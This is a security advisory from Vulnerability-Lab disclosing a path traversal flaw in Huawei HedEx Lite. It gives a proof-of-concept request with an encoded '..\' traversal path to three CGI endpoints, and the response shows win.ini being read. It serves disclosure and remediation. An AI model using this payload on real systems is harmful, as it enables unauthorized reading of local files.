# Exploit Title: Huawei HedEx Lite 200R006C00SPC005 - Path Traversal
# Date: 2020-11-24
# Exploit Author: Vulnerability-Lab
# Vendor Homepage: https://www.huawei.com/
# Software Link: https://support.huawei.com/carrier/docview!docview?nid=SCL1000005027&path=PAN-ET/PAN-T/PAN-T-HedEx
# Version: 200R006C00SPC005
Document Title:
===============
Huawei HedEx Lite (DM) - Path Traversal Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2268
Release Date:
=============
2020-11-24
Vulnerability Laboratory ID (VL-ID):
====================================
2268
Common Vulnerability Scoring System:
====================================
7
Vulnerability Class:
====================
Directory- or Path-Traversal
Current Estimated Price:
========================
3.000€ - 4.000€
Product & Service Introduction:
===============================
https://support.huawei.com/carrier/docview!docview?nid=SCL1000005027&path=PAN-ET/PAN-T/PAN-T-HedEx
Abstract Advisory Information:
==============================
A vulnerability laboratory core team researcher discovered a path
traversal vulnerability in the Huawei HedEx Lite v200R006C00SPC005.
Vulnerability Disclosure Timeline:
==================================
2020-11-24: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Authentication Type:
====================
Restricted Authentication (User Privileges)
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
An exploitable path traversal vulnerability has been discovered in the
official Huawei HedEx Lite v200R006C00SPC005.
Attackers can able to request local files or resources by remote
requesting to unauthorized change a local path.
Proof of Concept (PoC):
=======================
The path traversal vulnerability can be exploited by remote attackers
with restricted system user privileges wihtout user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Vulnerable File(s):
./newOtherManageContent.cgi [URL Path Filename]
./newStartupHedExBeeAction.cgi [URL Path Filename]
./newprehomeadvsearch.cgi [URL Path Filename]
--- PoC Session Logs [POST Method Request] ---
URL:
http://localhost:7890/newOtherManageContent.cgi/................................windowswin.ini
Path:
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
HTTP/1.1
Host: localhost:7890
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101
Firefox/27.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://localhost:7890/newindex.cgi
Connection: close
Content-Length: 0
--- PoC Session Logs [Response] ---
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="win.ini"
Content-Length: 1801
Content-Type: application/octet-stream;charset=utf-8
X-Frame-Options: SAMEORIGIN
-
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
[Drivers.32]
OLEMessaging.64=$80,$5D,$D9,$A6,$A4,$18,$A8,$AD
[ChannelDownmixer]
p1.bIsMultichannel=0
p1.wFormatTag=1
p1.nChannels=2
p1.dwChannelMask=63
p1.wBitsPerSample=16
p1.RequiredInputBitDepth=0
p1.bRequireInputNumberOfChannels=0
p1.RequiredInputNumberOfChannels=6
p1.bRequireInputSamplerate=0
p1.RequiredInputSamplerate=48000
p1.bRaiseMeritAndSingleInstance=1
p2.InputEnableBitmask=-1
p2.OutputEnableBitmask=-1
p2.bEnableInputGains=0
p2.bEnableOutputGains=0
p2.bEnableMasterVolume=0
p2.MasterVolumeGain=100
p2.I.FL=100
p2.I.FR=100
p2.I.FC=100
p2.I.LF=100
p2.I.BL=100
p2.I.BR=100
p2.I.FLC=100
p2.I.FRC=100
p2.I.BC=100
p2.I.SL=100
p2.I.SR=100
p2.I.TC=100
p2.I.TFL=100
p2.I.TFC=100
p2.I.TFR=100
p2.I.TBL=100
p2.I.TBC=100
p2.I.TBR=100
p2.I.bJoinFLFR=1
p2.I.bJoinBLBR=1
p2.I.bJoinFLCFRC=1
p2.I.bJoinSLSR=1
p2.I.bJoinTFLTFR=1
p2.I.bJoinTBLTBR=1
p2.O.FL=100
p2.O.FR=100
p2.O.FC=100
p2.O.LF=100
p2.O.BL=100
p2.O.BR=100
p2.O.FLC=100
p2.O.FRC=100
p2.O.BC=100
p2.O.SL=100
p2.O.SR=100
p2.O.TC=100
p2.O.TFL=100
p2.O.TFC=100
p2.O.TFR=100
p2.O.TBL=100
p2.O.TBC=100
p2.O.TBR=100
p2.O.bJoinFLFR=1
p2.O.bJoinBLBR=1
p2.O.bJoinFLCFRC=1
p2.O.bJoinSLSR=1
p2.O.bJoinTFLTFR=1
p2.O.bJoinTBLTBR=1
p3.bCustomMixMatrix=0
CustomMixMatrixFilename=
LastRegisteredVersion=20000
Solution - Fix & Patch:
=======================
The vulnerability can be resolved by setting restricted accessable
paths. A whitelist or static paths configuration can be combined.
An update is available on the huawei website provided by the
manufacturer of the application via customer portal.
Security Risk:
==============
The security risk of the path traversal web vulnerability in the
download manager software is estimated as high.
Credits & Authors:
==================
S.AbenMassaoud [Research Team] -
https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
